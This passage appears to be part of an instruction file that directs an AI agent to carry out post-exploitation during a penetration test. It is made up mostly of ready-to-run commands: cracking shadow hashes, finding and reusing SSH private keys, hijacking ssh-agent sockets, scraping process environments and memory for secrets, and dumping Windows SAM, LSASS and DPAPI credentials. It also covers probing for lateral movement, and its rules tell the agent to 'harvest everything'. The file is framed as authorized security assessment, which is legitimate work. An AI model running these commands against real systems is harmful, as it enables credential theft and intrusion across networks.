Auth/audit logs	grep -r 'comm="su"|comm="sudo"|pam_unix.*authentication' /var/log/audit/ /var/log/auth.log 2>/dev/null | head -20

If the current user is in the adm group (id output), auth and audit logs are readable and often contain passwords — the Linux audit daemon logs su/sudo attempts including the typed password in a hex-encoded data= field. Decode hex data with echo 'HEX' | xxd -r -p.

Hash cracking: kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow-hashes.txt")

SSH Key Harvesting and Reuse

# Step 1: Find all private keys
kali(command="ssh user@TARGET 'find / \\( -name id_rsa -o -name id_ed25519 -o -name id_ecdsa -o -name \"*.pem\" \\) 2>/dev/null | while read f; do echo \"=== $f ($(stat -c %U $f)) ===\"; head -2 \"$f\"; done'")

# Step 2: Map trust via authorized_keys
kali(command="ssh user@TARGET 'find / -name authorized_keys 2>/dev/null | while read f; do echo \"=== $f ===\"; awk \"{print NR, \\$NF}\" \"$f\"; done'")

# Step 3: Discover targets from known_hosts
kali(command="ssh user@TARGET 'find / -name known_hosts 2>/dev/null | while read f; do awk \"{print \\$1}\" \"$f\"; done | sort -u'")

# Step 4: SSH agent hijacking
kali(command="ssh user@TARGET 'find /tmp -name \"agent.*\" -type s 2>/dev/null'")
kali(command="ssh user@TARGET 'export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.PID && ssh-add -l'")
kali(command="ssh user@TARGET 'export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.PID && ssh -o StrictHostKeyChecking=no [email protected] id'")

# Step 5: Test keys against discovered hosts
kali(command="for key in /tmp/stolen_keys/*; do for host in $(cat /tmp/targets.txt); do ssh -i $key -o BatchMode=yes -o ConnectTimeout=3 root@$host 'hostname && id' 2>/dev/null && echo \"SUCCESS: $key -> $host\"; done; done")

Credential Harvesting from Memory

# Dump env vars from all accessible processes
kali(command="ssh user@TARGET 'for pid in $(ls /proc/ | grep -E \"^[0-9]+$\"); do strings /proc/$pid/environ 2>/dev/null | grep -iE \"(PASS|SECRET|TOKEN|API)=\" && echo \"[PID:$pid $(cat /proc/$pid/cmdline 2>/dev/null | tr \"\\0\" \" \")]\"; done 2>/dev/null | head -50'")

# Extract strings from process heap (requires root)
kali(command="ssh user@TARGET 'PID=$(pgrep -f apache2 | head -1) && cat /proc/$PID/maps | grep heap | awk -F\"[- ]\" \"{printf \\\"dd if=/proc/$PID/mem bs=1 skip=\\$((16#%s)) count=\\$((16#%s - 16#%s)) 2>/dev/null\\n\\\", \\$1, \\$2, \\$1}\" | sh | strings | grep -iE \"password|secret\" | head -20'")

# SSH key recovery from ssh-agent memory
kali(command="ssh user@TARGET 'for pid in $(pgrep ssh-agent); do cat /proc/$pid/mem 2>/dev/null | strings | grep -A 30 \"BEGIN.*PRIVATE KEY\" | head -40; done'")

# Browser credentials — Chrome Login Data and Firefox logins.json
kali(command="ssh user@TARGET 'find / -path \"*/.config/google-chrome/Default/Login Data\" -o -path \"*/.mozilla/*/logins.json\" 2>/dev/null'")

Windows Credentials

Location	Command
SAM/SYSTEM	impacket-secretsdump USER:PASS@TARGET
LSASS	nxc smb TARGET -u USER -p PASS -M lsassy
WiFi	netsh wlan show profile name=X key=clear
Saved creds	cmdkey /list
Registry	reg query HKLM /s /f password | head -50
Browser	nxc smb TARGET -u USER -p PASS -M chromium
NTFS ADS	dir /r C:\Users\ — check for Alternate Data Streams hiding data in files
DPAPI	impacket-dpapi masterkey -file KEYFILE -sid SID -password PASS

---

Phase 4 — Persistence Assessment (standard+)

Linux Persistence Vectors

Vector	Check	ATT&CK
Cron jobs	crontab -l; ls -la /etc/cron*	T1053.003
SSH authorized_keys	find / -name authorized_keys 2>/dev/null	T1098.004
Systemd services	systemctl list-unit-files	T1543.002
Bash profile	cat ~/.bashrc ~/.bash_profile /etc/profile	T1546.004
LD_PRELOAD	cat /etc/ld.so.preload 2>/dev/null	T1574.006
Init scripts	ls /etc/init.d/	T1037.004

Windows Persistence Vectors

Vector	Check	ATT&CK
Startup folder	dir "%APPDATA%\...\Startup"	T1547.001
Registry Run keys	reg query HKLM\...\CurrentVersion\Run	T1547.001
Scheduled tasks	schtasks /query /fo LIST	T1053.005
Services	sc query state= all	T1543.003
WMI subscriptions	Get-WMIObject -Class __EventFilter	T1546.003
DLL hijacking	Check PATH for writable dirs	T1574.001

---

Phase 5 — Pivot Preparation (thorough)

kali(command="ssh user@TARGET 'arp -a && cat /etc/hosts && ip neigh'")
kali(command="ssh user@TARGET 'for port in 22 80 443 445 3389 5985 8080; do (echo > /dev/tcp/10.0.0.1/$port) 2>/dev/null && echo 10.0.0.1:$port open; done'")
kali(command="nxc smb 10.0.0.0/24 -u HARVESTED_USER -p HARVESTED_PASS")
kali(command="ssh -i /tmp/stolen_key -o StrictHostKeyChecking=no [email protected] 'hostname && id'")

Call report(action="diagram", data={...}) with pivot map:

flowchart TD
    Init["Compromised: 10.0.0.10"] --> Cred["Cred Reuse"]
    Cred --> DB["10.0.0.5 (mysql)"]
    Cred --> Bak["10.0.0.20 (backup)"]
    Init --> Key["SSH Key Reuse"]
    Key --> Adm["10.0.0.2 (admin)"]
    Adm --> DC["10.0.0.1 (DC)"]

---

Phase 6 — Verification & PoC

For every confirmed finding:

1. report(action="note", data={...}) explaining the finding
2. Document exact reproduction steps
3. http(action="save_poc", ...) with descriptive title (e.g., privesc-suid-python3)
4. report(action="finding", data={...}) — severity: Critical (root/SYSTEM), High (privesc), Medium (cred exposure). Include ATT&CK ID and raw evidence.

---

Phase 7 — Report & Wrap-Up

1. report(action="diagram", data={...}) — complete post-exploitation map: access, privesc path, creds, persistence, lateral movement
2. report(action="note", data={...}) with summary:

Post-Exploitation Summary:
  Initial access:        [method, user, privileges]
  Privilege escalation:  [method or "not achieved"]
  Credentials harvested: [count, types]
  Persistence vectors:   [count, types]
  Lateral movement:      [reachable hosts, results]

3. session(action="complete", options={...}) with summary

---

Chaining Other Skills

Skill	When to invoke
/lateral-movement	Credentials and pivot opportunities identified — pass-the-hash, Kerberoasting, NTLM relay
/credential-audit	Need to crack harvested hashes or test credentials — hydra, john, hashcat
/container-k8s-security	Container escape achieved to K8s node — assess cluster from internal perspective
/network-assess	Internal network access from compromised host — segmentation testing, SNMP/NFS/SMB enum
/ssl-tls-audit	Internal TLS services discovered — audit certificates and crypto on internal services
/threat-modeling	Post-exploitation complete — STRIDE analysis of the compromised architecture
/gh-export	When user asks to file GitHub issues

---

Context Recovery After Compaction

When your context is compacted mid-skill:

1. Call session(action="recovery") before doing anything else — returns tools_already_run, in_progress_cells, pending_escalations, and EXECUTE_NOW
2. Resume in_progress cells first — notes record which privesc vectors were partially enumerated or attempted
3. Follow pending_escalations — escalation leads from findings (e.g., "crack hash from /etc/shadow", "test SUID binary X") that were not yet completed
4. Skip enumeration steps in tools_already_run — do not re-run linpeas/winpeas if already in the log
5. Never mark a privesc finding from memory — after compaction, re-run the confirming command before reporting

---

Rules

• session(action="start", options={...}) is mandatory — never run any other tool before it
• Batch independent tools in the same response — they execute in parallel
• When any tool returns a LIMIT message, stop immediately and call session(action="complete", options={...})
• Follow the decision tree — check sudo/SUID before kernel exploits, check token privileges before Potato selection
• Enumerate before escalating — understand the system before attempting privesc
• Harvest everything — config files, history, SSH keys, process memory, credential stores
• Call report(action="finding", data={...}) for every finding — privesc paths, exposed credentials, persistence vectors
• Use report(action="note", data={...}) liberally — document decisions and discoveries
• Never fabricate findings — only report what commands confirm
• Mermaid syntax rules: use flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
• Call session(action="stop_kali") at the end if kali(command=...) was used